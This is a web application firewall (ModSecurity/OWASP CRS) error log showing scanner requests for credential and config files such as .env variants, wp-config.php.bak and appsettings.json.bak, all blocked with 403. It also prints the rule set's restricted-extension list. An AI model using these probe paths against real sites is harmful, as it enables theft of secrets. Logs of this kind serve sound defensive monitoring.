[Sat Jan 17 03:01:38.132518 2026] [:error] [pid 1465640] [client 103.153.182.65:9298] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWrtgt6syg3vTOmgP2tJjwAAAAQ"]
[Sat Jan 17 03:01:38.132713 2026] [:error] [pid 1465640] [client 103.153.182.65:9298] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWrtgt6syg3vTOmgP2tJjwAAAAQ"]
[Sat Jan 17 03:01:38.135226 2026] [:error] [pid 1465655] [client 103.153.182.65:9250] [client 103.153.182.65] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWrtgiFXd78sl9lQKfsMwwAAAAc"]
[Sat Jan 17 03:01:38.135528 2026] [:error] [pid 1465655] [client 103.153.182.65:9250] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWrtgiFXd78sl9lQKfsMwwAAAAc"]
[Sat Jan 17 03:01:38.135693 2026] [:error] [pid 1465655] [client 103.153.182.65:9250] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWrtgiFXd78sl9lQKfsMwwAAAAc"]
[Sat Jan 17 03:01:38.143374 2026] [:error] [pid 1465639] [client 103.153.182.65:9326] [client 103.153.182.65] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWrtgrt90umalWjOW8vtHwAAAAM"]
[Sat Jan 17 03:01:38.143531 2026] [:error] [pid 1465639] [client 103.153.182.65:9326] [client 103.153.182.65] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWrtgrt90umalWjOW8vtHwAAAAM"]
[Sat Jan 17 03:01:38.143694 2026] [:error] [pid 1465639] [client 103.153.182.65:9326] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWrtgrt90umalWjOW8vtHwAAAAM"]
[Sat Jan 17 03:01:38.143828 2026] [:error] [pid 1465639] [client 103.153.182.65:9326] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aWrtgrt90umalWjOW8vtHwAAAAM"]
[Sat Jan 17 03:01:38.937461 2026] [:error] [pid 1465636] [client 103.153.182.65:9428] [client 103.153.182.65] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWrtglS2Pw3fqVRuRUA0xAAAAAA"]
[Sat Jan 17 03:01:38.937640 2026] [:error] [pid 1465636] [client 103.153.182.65:9428] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWrtglS2Pw3fqVRuRUA0xAAAAAA"]
[Sat Jan 17 03:01:38.937777 2026] [:error] [pid 1465636] [client 103.153.182.65:9428] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWrtglS2Pw3fqVRuRUA0xAAAAAA"]
[Sat Jan 17 03:01:38.940806 2026] [:error] [pid 1465640] [client 103.153.182.65:9422] [client 103.153.182.65] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWrtgt6syg3vTOmgP2tJkQAAAAQ"]
[Sat Jan 17 03:01:38.940971 2026] [:error] [pid 1465640] [client 103.153.182.65:9422] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWrtgt6syg3vTOmgP2tJkQAAAAQ"]
[Sat Jan 17 03:01:38.941106 2026] [:error] [pid 1465640] [client 103.153.182.65:9422] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWrtgt6syg3vTOmgP2tJkQAAAAQ"]
[Sat Jan 17 03:01:38.942880 2026] [:error] [pid 1465656] [client 103.153.182.65:9404] [client 103.153.182.65] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aWrtgguey-R96faqoviPpAAAAAg"]
[Sat Jan 17 03:01:38.943059 2026] [:error] [pid 1465656] [client 103.153.182.65:9404] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aWrtgguey-R96faqoviPpAAAAAg"]
[Sat Jan 17 03:01:38.943218 2026] [:error] [pid 1465656] [client 103.153.182.65:9404] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aWrtgguey-R96faqoviPpAAAAAg"]
[Sat Jan 17 03:01:44.672995 2026] [:error] [pid 1465638] [client 103.153.182.65:26688] [client 103.153.182.65] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWrtiHyeJt1bTz5T3HhG7AAAAAI"]
[Sat Jan 17 03:01:44.673246 2026] [:error] [pid 1465638] [client 103.153.182.65:26688] [client 103.153.182.65] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWrtiHyeJt1bTz5T3HhG7AAAAAI"]
[Sat Jan 17 03:01:44.673535 2026] [:error] [pid 1465638] [client 103.153.182.65:26688] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWrtiHyeJt1bTz5T3HhG7AAAAAI"]
[Sat Jan 17 03:01:44.673754 2026] [:error] [pid 1465638] [client 103.153.182.65:26688] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWrtiHyeJt1bTz5T3HhG7AAAAAI"]
[Sat Jan 17 03:01:45.457838 2026] [:error] [pid 1465640] [client 103.153.182.65:26768] [client 103.153.182.65] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/appsettings.json.bak"] [unique_id "aWrtid6syg3vTOmgP2tJkgAAAAQ"]
[Sat Jan 17 03:01:45.458227 2026] [:error] [pid 1465640] [client 103.153.182.65:26768] [client 103.153.182.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/appsettings.json.bak"] [unique_id "aWrtid6syg3vTOmgP2tJkgAAAAQ"]
[Sat Jan 17 03:01:45.458419 2026] [:error] [pid 1465640] [client 103.153.182.65:26768] [client 103.153.182.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/appsettings.json.bak"] [unique_id "aWrtid6syg3vTOmgP2tJkgAAAAQ"]
[Sat Jan 17 23:17:30.997706 2026] [:error] [pid 1465652] [client 185.177.72.60:34194] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aWwKer6MPgkIbMiE8VTLzwAAAAU"]
[Sat Jan 17 23:17:31.002324 2026] [:error] [pid 1465652] [client 185.177.72.60:34194] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aWwKer6MPgkIbMiE8VTLzwAAAAU"]
[Sat Jan 17 23:17:31.002494 2026] [:error] [pid 1465652] [client 185.177.72.60:34194] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aWwKer6MPgkIbMiE8VTLzwAAAAU"]
[Sat Jan 17 23:17:31.003811 2026] [:error] [pid 1465640] [client 185.177.72.60:34140] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWwKe96syg3vTOmgP2tOKQAAAAQ"]
[Sat Jan 17 23:17:31.004038 2026] [:error] [pid 1465640] [client 185.177.72.60:34140] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWwKe96syg3vTOmgP2tOKQAAAAQ"]
[Sat Jan 17 23:17:31.004186 2026] [:error] [pid 1465640] [client 185.177.72.60:34140] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aWwKe96syg3vTOmgP2tOKQAAAAQ"]
[Sat Jan 17 23:17:30.999278 2026] [:error] [pid 1465656] [client 185.177.72.60:34130] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWwKeguey-R96faqoviUPgAAAAg"]
[Sat Jan 17 23:17:31.004758 2026] [:error] [pid 1465656] [client 185.177.72.60:34130] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWwKeguey-R96faqoviUPgAAAAg"]
[Sat Jan 17 23:17:31.004917 2026] [:error] [pid 1465656] [client 185.177.72.60:34130] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWwKeguey-R96faqoviUPgAAAAg"]
[Sat Jan 17 23:17:30.999495 2026] [:error] [pid 1465637] [client 185.177.72.60:34154] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWwKekwjzlOY5uJ3CcDeCgAAAAE"]
[Sat Jan 17 23:17:31.000325 2026] [:error] [pid 1465636] [client 185.177.72.60:34192] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWwKelS2Pw3fqVRuRUA6NAAAAAA"]
